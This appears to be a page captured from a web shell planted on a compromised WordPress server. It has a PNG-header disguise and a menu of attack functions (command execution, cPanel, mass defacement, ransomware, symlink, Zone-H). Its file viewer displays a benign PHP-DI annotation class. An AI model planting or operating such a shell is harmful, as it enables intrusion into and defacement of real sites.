\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/vendor/php-di/php-di/src/DI/Annotation/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/vendor/php-di/php-di/src/DI/Annotation/Inject.php |
<?php
namespace DI\Annotation;
use DI\Definition\Exception\AnnotationException;
/**
* "Inject" annotation.
*
* Marks a property or method as an injection point
*
* @Annotation
* @Target({"METHOD","PROPERTY"})
*
* @author Matthieu Napoli <matthieu@mnapoli.fr>
*/
final class Inject
{
/**
* Entry name.
* @var string
*/
private $name;
/**
* Parameters, indexed by the parameter number (index) or name.
*
* Used if the annotation is set on a method
* @var array
*/
private $parameters = [];
/**
* @param array $values
* @throws AnnotationException
*/
public function __construct(array $values)
{
// Process the parameters as a list AND as a parameter array (we don't know on what the annotation is)
// @Inject(name="foo")
if (isset($values['name']) && is_string($values['name'])) {
$this->name = $values['name'];
return;
}
// @Inject
if (! isset($values['value'])) {
return;
}
$values = $values['value'];
// @Inject("foo")
if (is_string($values)) {
$this->name = $values;
}
// @Inject({...}) on a method
if (is_array($values)) {
foreach ($values as $key => $value) {
if (! is_string($value)) {
throw new AnnotationException(sprintf(
'@Inject({"param" = "value"}) expects "value" to be a string, %s given.',
json_encode($value)
));
}
$this->parameters[$key] = $value;
}
}
}
/**
* @return string Name of the entry to inject
*/
public function getName()
{
return $this->name;
}
/**
* @return array Parameters, indexed by the parameter number (index) or name
*/
public function getParameters()
{
return $this->parameters;
}
}